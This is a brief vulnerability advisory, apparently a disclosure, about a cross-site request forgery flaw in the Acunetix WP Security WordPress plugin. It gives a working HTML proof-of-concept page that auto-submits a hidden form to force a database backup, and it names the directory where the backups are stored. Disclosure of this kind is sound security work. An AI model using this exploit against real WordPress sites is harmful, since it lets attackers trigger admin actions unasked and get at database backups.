Summary:
========
1. CSRF / Get Backup
2. Further Information

1. CSRF / Get Backup:
=====================
The Acunetix WP Security Suffers from CSRF attack, getting backup of wordpress database and saving it in backup folder. Although it has a good random generator function producing
none-guessable numeric values, it still is a vulnerability which can be used against wordpress in a complex attack scenario. Here is a simple exploit:

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm" action="http://localhost/wordpress-3.8/wp-admin/admin.php?page=wps_database" method="post">
<input type="hidden" name="wsd_db_backup" value="">
<input type="hidden" name="backupDatabaseButton" value="Backup+now%21">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>

Backup files are stored in /wp-content/plugins/wp-security-scan/res/backups/ directory. It's protected with an index, though.

2. Further Information:
